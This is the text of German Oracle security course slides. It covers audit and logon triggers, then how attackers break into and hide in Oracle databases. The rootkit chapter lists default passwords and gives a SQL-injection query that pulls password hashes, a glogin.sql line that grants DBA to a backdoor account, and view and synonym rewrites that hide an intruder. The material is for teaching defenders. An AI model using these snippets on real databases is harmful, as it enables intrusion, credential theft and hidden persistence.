[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 07 00 00 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 00 07 78 69 02 17 0E 3C |..xi...<|

[23-FEB-2005 13:59:51:716] nsprecv: 34 06 01 02 EC 01 00 00 |4.......|

[23-FEB-2005 13:59:51:716] nsprecv: 00 01 00 00 00 BF 06 00 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 A4 0D 00 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 BF 06 07 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 05 4D 61 72 63 6F 08 05 |. Marco ..|

[23-FEB-2005 13:59:51:716] nsprecv: 00 05 B2 44 00 00 00 00 |...D....|

Stichwörter: Verschlüsselung überprüfen

Security I 4 - 10

Page 148: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 5Trigger

Security I 5 - 1

Page 149: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Überwachung mittels Trigger

Trigger zünden bei einem DML oder DDL Befehl.

Mit DDL Trigger können auch der Datenbankstart/stop und das An/Abmelden der Benutzer getriggert werden

Sie können aufzeichnen, welche Aktion durchgeführt wurde.

Trigger können autonome Transaktionen durchführen (Das sind separate Transaktionen, die mit einem COM MIT abgeschlossen werden).

Sie bieten die einzige Möglichkeit, um Datenveränderungen in Tabellen zu dokumentieren.

Achtung: Trigger verlangsamen DML-Transaktionen

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 2

Stichwörter: Überwachung, Trigger

Security I 5 - 2

Page 150: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiel für einen Trigger:

CREATE OR REPLACE TRIGGER emp_trig_iduBEFORE UPDATE OR INSERT OR DELETE ON empFOR EACH ROW

WHEN (NVL(old.sal,0)<>nvl(new.sal,0) )DECLARE

vmode VARCHAR2(20);BEGIN

IF updating THEN vmode:='Upd';ELSIF deleting THEN vmode:='Del';ELSE

vmode:='Ins';END IF;

/*##### Aufzeichnung der Gehaltsveränderung in emp- Tab. */INSERT INTO emp_audit (cmode,empno,ename,old_sal,new_sal,user_name,change _date)VALUES(vmode,nvl(:old.empno,:new.empno,nvl(:old.ename,:ne w.ename),:old.sal,:new.sal,user,sysdate);END;

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 3

Stichwörter:

Security I 5 - 3

Page 151: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Logon Trigger

CREATE OR REPLACE TRIGGER afterlogonAFTER LOGON on DATABASEBEGIN

RAISE_APPLICATION_ERROR (-20001, 'You are not allow ed to logon from this terminal');END;/

Mit zeitlicher Steuerung

if ( to_char( sysdate, 'hh24' ) not between 7 and 1 8 )then

Abhängig vom Terminal

sys_context('userenv','Terminal') ='Hauptterminal'

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 4

Ein After Logon Trigger zündet immer dann, wenn ein Benutzer sich an der Datenbank anmeldet. Mit diesem Trigger könnte z. B. ein Anmelden von bestimmten Konstellationen abhängig gemacht werden (z. B. Uhrzeit, Tag, Benutzername, u.s.w.)

CREATE OR REPLACE TRIGGER afterlogonAFTER LOGON on DATABASEBEGINDurch den RAISE… wird der Benutzer wieder abgemeldetRAISE_APPLICATION_ERROR (-20001, 'You are not allow ed to logon from this terminal');END;/Rem Mit zeitlicher SteuerungIF ( TO_CHAR( sysdate, 'hh24' ) NOT BETWEEN 7 AND 1 8 ) THENrem abhängig vom TerminalSYS_CONTEXT('USERENV','TERMINAL') ='HAUPTTERMINAL'

REM abhängig vom BenutzerSYS_CONTEXT('USERENV', 'CURRENT_USER') ='USER'

Stichwörter: Logon Trigger

Security I 5 - 4

Page 152: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

System -Trigger

Folgende System-Ereignisse können Trigger auslösen.

AFTER LOGON ON SCHEMA | DATABASE

BEFORE LOGOFF ON SCHEMA | DATABASE

AFTER SERVERERROR ON SCHEMA | DATABASE

AFTER STARTUP ON DATABASE

BEFORE SHUTDOWN ON DATABASE

BEFORE UNPLUG ON PLUGGABLE DATABASE (ab 12c)

Vorsicht bei einem AFTER LOGON ON DATABASE-Trigger: Schlägt er fehl, kann sich nur noch ein SY SDBA einloggen

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 5

Systemtrigger

In System- und DDL-Triggern stehen eine Reihe neuer Attribute zur Verfügung, die alle inclusive Schemaname des Owners (=SYS) verwendet werden müssen. Alle neuen Trigger verfügen über folgende Attribute:

• SYSEVENT (Return VARCHAR2(20)): Name des auslösenden Events• LOGIN_USER (Return VARCHAR2(30)): angemeldeter User• INSTANCE_NUM (Return NUMBER): Instanznummer• DATABASE_NAME (Return VARCHAR2(50)): Datenbankname

Bei SERVERERROR-Triggern sind zusätzlich verfügbar:

• SERVER_ERROR(n) (Return NUMBER): Fehlernummer an der Position n im errorstack

• IS_SERVERERROR(<Fehlernummer>) (Return BOOLEAN): Gibt TRUE zurück, falls der Fehler mit dieser Fehlernummer aufgetreten ist

Ab Version 8.1.6 gibt es Public Synonyme für diese Attribute:

• ORA_SYSEVENT für SYS. SYSEVENT • ORA_LOGIN_USER für SYS. LOGIN_USER • ORA_INSTANCE_NUM für SYS. INSTANCE_NUM• ORA_ DATABASE_NAME für SYS.DATABASE_NAME • ORA_ SERVER_ERROR für SYS. SERVER_ERROR• ORA_ IS_SERVERERROR für SYS. IS_SERVERERROR

Stichwörter: System-Trigger

Security I 5 - 5

Page 153: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiel System -Trigger

CREATE OR REPLACE TRIGGER log_trigAFTER LOGON ON DATABASEBEGIN

INSERT INTO logevents (l_user, l_time)VALUES(SYS.LOGIN_USER, SYSDATE);COMMIT; -- geht!

END;

Anmerkungen:

SYS.LOGIN_USER ist ein Attribut, das in jedem Trigg er zur Verfügung steht.

Auch SYS.SYSEVENT kann in jedem System- oder DDL-Trigger abgefragt werden.

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 6

Systemtrigger

Ab Version 8.1.6 kam für AFTER LOGON-Trigger ein weiteres Attribut hinzu:

• ORA_CLIENT_IP_ADDRESS (Return VARCHAR2): IP-Adresse des Client, falls die Verbindung über TCP/IP läuft

Ab Version 9i kamen folgende Error-Attribute dazu:

• ORA_SERVER_ERROR_DEPTH (Return BINARY_INTEGER): Tiefe des error stack

• ORA_SERVER_ERROR_MSG (n, Return VARCHAR2): Fehlermeldung an Position n des error stack

• ORA_SERVER_ERROR_NUM_PARAMS (n, Return BINARY_INTEGER): Anzahl der ersetzten Wildcards bei Fehlermeldung an Position n des error stack

• ORA_SERVER_ERROR_PARAM (n, x, Return VARCHAR2): Wert, der anstelle der x-ten Wildcard bei Fehlermeldung an Position n des error stack eingesetzt wurde

Stichwörter:

Security I 5 - 6

Page 154: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DDL-Trigger

Folgende DDL-Befehle können ebenfalls als Trigger-Event dienen:

CREATE

ALTER

DROP

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 7

DDL-Trigger

Auch DDL-Trigger gibt es ab Version 8i. Im ersten Release waren die unterstützten Events noch auf die drei wichtigsten, oben aufgeführten Befehle beschränkt.

In DDL-Triggern stehen neben den auch in allen Systemtriggern verfügbaren Attributen noch folgende weitere Attribute zur Verfügung, die ebenfalls inclusive Schemaname des Owners (=SYS) angesprochen werden müssen:

• DICTIONARY_OBJ_TYPE (Return VARCHAR2(20)): Objekttyp, auf den DDL-Befehl abgesetzt wurde

• DICTIONARY_OBJ_NAME (Return VARCHAR2(30)): Objektname, auf den DDL abgesetzt wurde

• DICTIONARY_OBJ_OWNER (Return VARCHAR2(30)): Objektinhaber• DES_ENCRYPTED_PASSWORD (Return VARCHAR2): Passwort des

geänderten Benutzers; nur bei CREATE / ALTER USER

Ab Version 8.1.6 existieren auch für diese Attribute Synonyme:

• ORA_DICT_OBJ_TYPE für SYS. DICTIONARY_OBJ_TYPE• ORA_DICT_OBJ_NAME für SYS. DICTIONARY_OBJ_NAME• ORA_DICT_OBJ_OWNER für SYS. DICTIONARY_OBJ_OWNER• ORA_DES_ENCRYPTED_PASSWORD für

SYS.DES_ENCRYPTED_PASSWORD

Stichwörter: DDL-Trigger

Security I 5 - 7

Page 155: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DDL-Trigger (ff)

Weitere DDL-Befehle:

RENAME

TRUNCATE

ANALYZE

ASSOCIATE STATISTICS

DISASSOCIATE STATISTICS

AUDIT

NOAUDIT

COMMENT

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 8

DDL-Trigger

Ab Version 8.1.6 (= Version 8i Release 2) kamen eine Reihe weiterer DDL- und auch DCL-Befehle dazu. Voraussetzung für die Erstellung der entsprechenden Trigger ist, dass der compatible-Parameter der Datenbank auf mindestens 8.1.6 eingestellt wird.Auch eine Reihe weiterer Attribute kam hinzu, die allerdings alle auf einen oder wenige Befehle beschränkt sind:

• ORA_IS_CREATING_NESTED_TABLE (Return BOOLEAN): Nur bei CREATE TABLE

• ORA_IS_ALTER_COLUMN(spaltenname) (Return BOOLEAN): Nur bei ALTER TABLE

• ORA_IS_DROP_COLUMN(spaltenname) (Return BOOLEAN): Nur bei ALTER TABLE

Für ASSOCIATE / DISASSOCIATE STATISTICS wurden folgende Attribute neu eingeführt:

• ORA_DICT_OBJ_NAME_LIST(name_list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER)

• ORA_DICT_OBJ_OWNER_LIST(name_list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER)

Returnwert ist jeweils die Anzahl der Einträge in name_list; diese Einträge entsprechen den Namen der Owner bzw. der Objekte, die durch den Befehl betroffen sind. ORA_NAME_LIST_T ist TABLE OF VARCHAR2(64).

Stichwörter:

Security I 5 - 8

Page 156: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DDL-Trigger (ff)

Weitere DCL-Befehle:

GRANT

REVOKE

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 9

DDL-Trigger

Im Zusammenhang mit den DCL-Befehlen wurden folgende Attribute neu eingeführt:

• ORA_GRANTEE(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Nur bei GRANT

• ORA_REVOKEE(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Nur bei REVOKE

• ORA_PRIVILEGE_LIST(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER): Bei GRANT und REVOKE

• ORA_WITH_GRANT_OPTION(Return BOOLEAN): Nur bei GRANT; Gibt zurück, ob Grant-Option erteilt wurde

Rückgabewert ist bei den ersten drei Funktionen wiederum die Anzahl der Einträge in list.

Eingetragen werden:• User, denen Privileg erteilt wurde (ORA_GRANTEE)• User, denen Privileg entzogen wurde (ORA_REVOKEE)• Namen der erteilten / entzogenen Privilegien (ORA_PRIVILEGE_LIST)

Stichwörter:

Security I 5 - 9

Page 157: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DDL-Trigger (ff)

Als Timing ist bei allen DDL-Triggern sowohl BEFORE als auch AFTER möglich.

Als Gültigkeitsbereich gibt es bei allen DDL-Trigge rn ON SCHEMA oder ON DATABASE.

Alle oben aufgeführten Ereignisse werden mit einem BEFORE | AFTER DDL-Trigger (ON SCHEMA |DATABASE) erfasst.

Im Trigger-Body stehen zusätzlich folgende Attribut e zur Verfügung:

SYS.DICTIONARY_OBJ_NAME: Name des (erzeugten, gelöschten...) Objekts

SYS.DICTIONARY_OBJ_OWNER: Owner des (erzeugten, gelöschten...) Objekts

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 10

Stichwörter:

Security I 5 - 10

Page 158: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Beispiel DDL-Trigger

CREATE OR REPLACE TRIGGER create_trigAFTER CREATE ON DATABASEBEGIN

INSERT INTO logcreates (l_owner, l_name, l_time)

VALUES(SYS.DICTIONARY_OBJ_OWNER,SYS.DICTIONARY_OBJ_NAME, SYSDATE);

END;

Ein COMMIT ist nicht nötig

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 11

DDL-Trigger

DML-Befehle in DDL-Trigger brauchen kein COMMIT, da dieses durch den auslösenden Befehl automatisch erfolgt, aber nur, sofern der DDL-Befehl nicht fehlschlägt.

Ein Laufzeitfehler in einem DDL-Trigger oder ein RAISE_APPLICATION_ERROR machen auch den DDL-Befehl rückgängig.

Stichwörter:

Security I 5 - 11

Page 159: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Weiteres Beispiel

Verhindern der Vergabe von Rechten (der Emp-Tabelle) an Public (einfache Version)

CREATE OR REPLACE TRIGGER create_trigAFTER GRANT ON DATABASEDECLAREv_ora_name_list ora_name_list_t;ret binary_integer;BEGINret:=ora_grantee(v_ora_name_list);

IF SYS.DICTIONARY_OBJ_OWNER='SCOTT' AND SYS.DICTIONARY_OBJ_NAME='EMP'AND v_ora_name_list(v_ora_name_list.first)='PUBLIC' THEN

raise_application_error(-20001,'No Grants to PUBLIC allowed');

END IF; END;

MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 12

Hinweis:Verbesserte Version, die auch den Fall abfängt, dass das Recht an Mehrere vergeben wird und Public nicht der erste ist.

CREATE OR REPLACE TRIGGER create_trigAFTER GRANT ON DATABASEDECLAREv_ora_name_list ora_name_list_t;ret binary_integer;

BEGINret:=ora_grantee(v_ora_name_list);IF SYS.DICTIONARY_OBJ_OWNER='SCOTT' and SYS.DICTIONARY_OBJ_NAME='EMP' THEN

FOR i IN v_ora_name_list.first ..v_ora_name_list.last LOOP

IF v_ora_name_list(i)='PUBLIC' THENraise_application_error(

-20001,'No Grants to PUBLIC allowed'); END IF;

END LOOP;END IF; END;/

Stichwörter: Rechtevergabe

Security I 5 - 12

Page 160: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 6Rootkits

Security II 6 - 1

Page 161: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Definition

Rootkit-Programme manipulieren das Betriebssystem s o, dass bestimmte Dateien, Registry-Einträge oder Proz esse für Systemprogramme wie Windows Explorer, Registrierungseditor oder Taskmanager unsichtbar werden.

Damit ist es leicht, unbemerkt schädliche Codes/Programme auf dem PC einzuschleusen.

Sony BMG machte sich diese Technik für seinen umstrittenen und mittlerweile zurückgezogenen XCP-Kopierschutz für CDs zunutze.

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 2

Security II 6 - 2

Page 162: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Rootkit unter Unix

Die ersten Versionen modifizierten die Programme ps , ls und passwd um ihre Anwesenheit zu verbergen und ungehindert im System zu agieren.

Damit konnten Tastatureingaben (Keylogger) mitgeschnitten oder Dateien unbemerkt ausgelesen od er modifiziert werden.

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 3

Security II 6 - 3

Page 163: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wer greift mich an?

Extern:

Script Kiddies

Professionelle Hacker

Konkurrenz?

Terroristen, NSA

Intern:

Entlassene Mitarbeiter

Verärgerte Mitarbeiter

Mitarbeiter mit Liebeskummer ����

Bestochene Mitarbeiter (Konkurrenz, Geheimdienst, … )

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 4

Security II 6 - 4

Page 164: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Was macht der Angreifer?

Daten auslesen (geheime, vertrauliche Unterlagen, Kreditkarten-Informationen, Gehälter, …)

Daten verändern (sehr schwer nachvollziehbar! Wie lange bewahren Sie Ihre Backups auf?)

Daten löschen (evtl. incl. Backup), formatieren

Von dort aus weitere Datenbanken/Rechner hacken

Missbrauch als Datencontainer für illegale Software/Filme/Musik/Bilder!

Verwendung des Rechners als Spam-Zombie, DoS Client

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 5

Security II 6 - 5

Page 165: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wie komme ich in die Oracle Datenbank?

Bekannte Benutzeraccounts/Passwörter versuchen

Top 10SYSTEM/MANAGER

SYS/CHANGE_ON_INSTALL AS SYSDBA (Bis 10g)

SYS/SYS AS SYSDBA

DBSNMP/DBSNMP

MDSYS/MDSYS

SCOTT/TIGER

OUTLN/OUTLN

RMAN/RMAN

HR/HR

CTXSYS/CTXSYS

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 6

Hinweis:Pete Finnigan hat auf seiner Webseite mehr als 100 Oracle Demo Accounts mit Passwörtern zusammengefasst.http://www.petefinnigan.comIhre Applikation sollte möglichst auch über ein langes Passwort verfügen, daßnicht leicht erraten werden kann!

Security II 6 - 6

Page 166: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wie komme ich in die Datenbank (f)

Keylogger auf den Client installieren. (Gibt es auc h als Hardware zu kaufen)

Passwörter in Skript-Dateien (Backupskripten, Monitoring-Skripten) suchen.

Einschleusen von Code in Skipt-Dateien (catalog.sql , catproc.sql, utlxplan.sql, utlrp.sql).

Passwort in der History suchen:

Dos: <F7>

Unix: history

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 7

Hinweis:Gehen Sie doch mal z.B. mit dem Texteditor Ultraedit in Ihrem Skriptverzeichnis auf die Suche nach " AS SYSDBA" oder "CONNECT <ihrUser>".Sind diese Dateien ausreichend geschützt, bzw. kann man das Passwort herausnehmen?Wenn Sie den Arbeitsplatz verlassen, sollte sich nach kurzer Zeit ein Bildschirmschoner einschalten, der mit einem Passwort versehen ist. Damit können Sie verhindern, dass jemand in Ihrer Abwesenheit Ihre Tastatureingaben über die History nachverfolgen kann.

Security II 6 - 7

Page 167: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wie komme ich in die Datenbank (ff)

Brute Force Attack (Alle Passwort-Kombinationen versuchen)

GLOGIN.SQL editieren:GRANT DBA TO RSYS IDENTIFIED BY HACKER;

Versenden von manipulierten SQL*Net Paketen (ohne Account) an die Datenbank mit eingeschleustem Code.

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 8

Hinweis:Sperren Sie die Dateien glogin.sql und login.sql gegenüber Schreibzugriffen.

Security II 6 - 8

Page 168: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wie komme ich in die Datenbank (ff)

Applikation besitzt DBA-Rechte ����, deshalb

SQL Injection bei dynamischem Cursor:

SELECT name FROM kunden where /* kunden_id=1 */kunden_id=1 UNION SELECT username||'.'||password FROM dba_users;

Danach mit Brute-Force-Tool orabf das Passwort knacken.

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 9

Hinweis:

Verwenden Sie in PL/SQL möglichst wenig dynamisches SQL. Vertreter dieser Generation sind:

• EXECUTE IMMEDIATE• DBMS_SQL• REF CURSOR

Security II 6 - 9

Page 169: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wie komme ich in die Datenbank (ff)

Hacken des Listeners (z.B. Einschleusen von Codes, der einen Benutzer mit Administratoren-Rechten anlegt)

Social Hacking

Passwörter erraten (Susi, Uschi, BMW, FC Bayern, …)

Klebt ein Post-It auf dem Bildschirm mit dem Passwo rt, oder steht es unter der Tastatur?

USB-Sticks mit Trojaner in Firmennähe liegen lassen

Phishing

Verschicken Sie Emails mit Text: Für Wartungsarbeit en auf der Datenbank für welche Ihr Password benötigt wird ☺☺☺☺

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 10

SQL*Net Tracing

Wenn der Parameter trace_level_client = 16 in sqlnet.ora clientseitig gesetzt wurde, können SQL-Kommandos mitgelesen werden:

… nspsend: 01 28 61 6C 74 65 72 20 |.(alter.|… nspsend: 75 73 65 72 73 20 73 79 |users.sy|… nspsend: 73 74 65 6D 20 69 64 65 |stem.ide|… nspsend: 6E 74 69 66 69 65 64 20 |ntified.|… nspsend: 62 79 20 6D 61 6E 61 67 |by.manag|… nspsend: 65 72 01 00 00 00 01 00 |er......|

Security II 6 - 10

Page 170: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Ich bin drin ...

Was nun ?

Verwendung von diversen PL/SQL Packages, um Daten aus der Datenbank zu entwenden

utl_file => schreibt auf lokale Platte

utl_tcp, utl_http =>verschickt per http/ftp/email

utl_smtp, utl_mail => verschickt email

dbms_metadata, …). => zeigt Objektstrukturen an

Freischalten von ftp oder http Ports mittels dbms_x db

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 11

Security II 6 - 11

Page 171: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Namensauflösung bei Objekten

Wenn ein Objektname (Tabelle, View, Package, Procedure, Function) angegeben wird, geht Oracle wie folgt vor:

1. Gibt es im lokalem Schema ein Objekt mit diesen Namen (Achtung das lokale Schema lässt sich ändern mittel s:

ALTER SESSION SET current_schema=<schema>;

Wenn Nein,

2. Gibt es ein lokales Synonym mit diesem Namen

Wenn Nein

3. Gibt es ein Public Synonym mit diesem Namen

Wenn Nein

4. Fehlermeldung ausgeben (z.B. ORA-00942: Tabelle oder View nicht vorhanden)

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 12

Beispieltricks:

Legen Sie eine lokale View mit Namen all_tables für den den Benutzer SCOTT an:

• CREATE OR REPLACE VIEW scott.all_tables ...Legen Sie ein lokales Package utl_file für Scott an:

• CREATE OR REPLACE package scott.utl_fileLegen Sie ein lokales Synonym an:

• CREATE SYNONYM utl_http ...Legen Sie ein globales Synonym an:

• CREATE PUBLIC SYNONYM utl_tcp ...

Security II 6 - 12

Page 172: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Manipulation der Verwaltungsviews

Ein Hacker muss nur in den üblicherweise verwendete n Verwaltungsviews zusätzliche Filter einbauen, die d ie gewünschten Einträge verstecken.

Da die meisten grafischen Tools nur die Inhalte von ALL_/DBA_ Objekten anzeigen, kann ein Hacker sich h ier verstecken

Wenn Sie herausfinden möchten auf welchen Tabellen eine Verwaltungsview basiert, sehen Sie in dba_view s oder noch besser in view$ nach

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 13

Beispiele:

1. Wir nehmen die offizielle Verwaltungsview um herauszufinden, auf welcher Tabelle die View session_privs basiert:

• SELECT text FROM dba_views WHERE view_name='SESSION_PRIVS';

• Text------------------------

• select spm.name from sys.v$enabledprivs ep, system_privilege_map spmwhere spm.privilege = ep.priv_number

2. Die gleiche Abfrage nun mit der Original-Tabelle:• select text from view$ where obj# in (select obj# from

sys.obj$ where name='SESSION_PRIVS')

Security II 6 - 13

Page 173: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Manipulation der Verwaltungsviews

Beispiel: DBA_USERS

Hinzufügen in der View:

CREATE OR REPLACE VIEW dba_users ..AND username <> 'HACKER';

Blendet in der View nun 'Hacker' aus

Alternative:

Hacker arbeitet unter einem immer vorhandenen Accou nt:

SYS, SYSTEM, OUTLN, SYSMAN, XDB, MDSYS, PERFSTAT

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 14

DD Tabelle DD View Bemerkung

user$ DBA_USER Alle installierten Benutzer und Rollen

obj$ DBA_OBJECTS Alle installierten Objekte (Tabs/Pro cs/Trigger, ...)

tab$ DBA_TABLES Alle installierten normalen relat. Ta bellen

col$ DBA_TAB_COLUMNS

Alle Spalten der Tabellen

view$ DBA_VIEWS Alle installierten Views

trigger$ DBA_TRIGGERS Alle installierten Trigger

link$ DBA_DB_LINKS Alle Datenbank-Links

source$ DBA_SOURCE Alle Quellcodes (auch gewrappte)

syn$ DBA_SYNONYMS Alle Synonyme

ts$ DBA_TABLESPACES

Alle Tablespaces

Security II 6 - 14

Page 174: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Verwaltungsviews (V$...)

GV$ und V$ Views sind Performance-Views, die nicht im üblichen Verwaltungsapparat (Tablespace SYSTEM) gespeichert werden, sondern z.B. im Controlfile.

Sie basieren auch nicht auf einer View, sondern auf einer festen Struktur.

Jedoch heißen die Originalobjekte V_$... & GV_$ und auf diesem liegt dann ein Public Synonym.

Beispiel:

V_$SESSION => Public Synonym mit Namen V$SESSION

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 15

Security II 6 - 15

Page 175: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Verwaltungsviews (V$...)

Der Hackertrick besteht nun darin, eine lokale View mit Namen V$... (z.B: V$SESSION) anzulegen, in der ein gewünschter Filter gesetzt wird.

Beispiel:

CREATE OR REPLACE VIEW sys.V$$sessionASSELECT * FROM sys.V_$sessionWHERE username <> 'HACKER';

DROP PUBLIC SYNONYM v$session;

CREATE public synonym v$session FOR sys.v$$session;

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 16

Security II 6 - 16

Page 176: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Verwaltungsviews (V$...)

Alternativ wird einfach das Public Synonym auf ein anderes Objekt umgeleitet:

CREATE PUBLIC SYNONYM v$session FOR system.v$session_hack;

oder als lokales Synonym:CREATE SYNONYM v$session

FOR system.v$session_hack;

Hinweis:Zum Auslesen der View-Struktur verwendet man:

SELECT dbms_metadata.get_ddl('VIEW','SYS','<VIEW_NAME>')FROM dual;

MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 17

Security II 6 - 17

Page 177: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

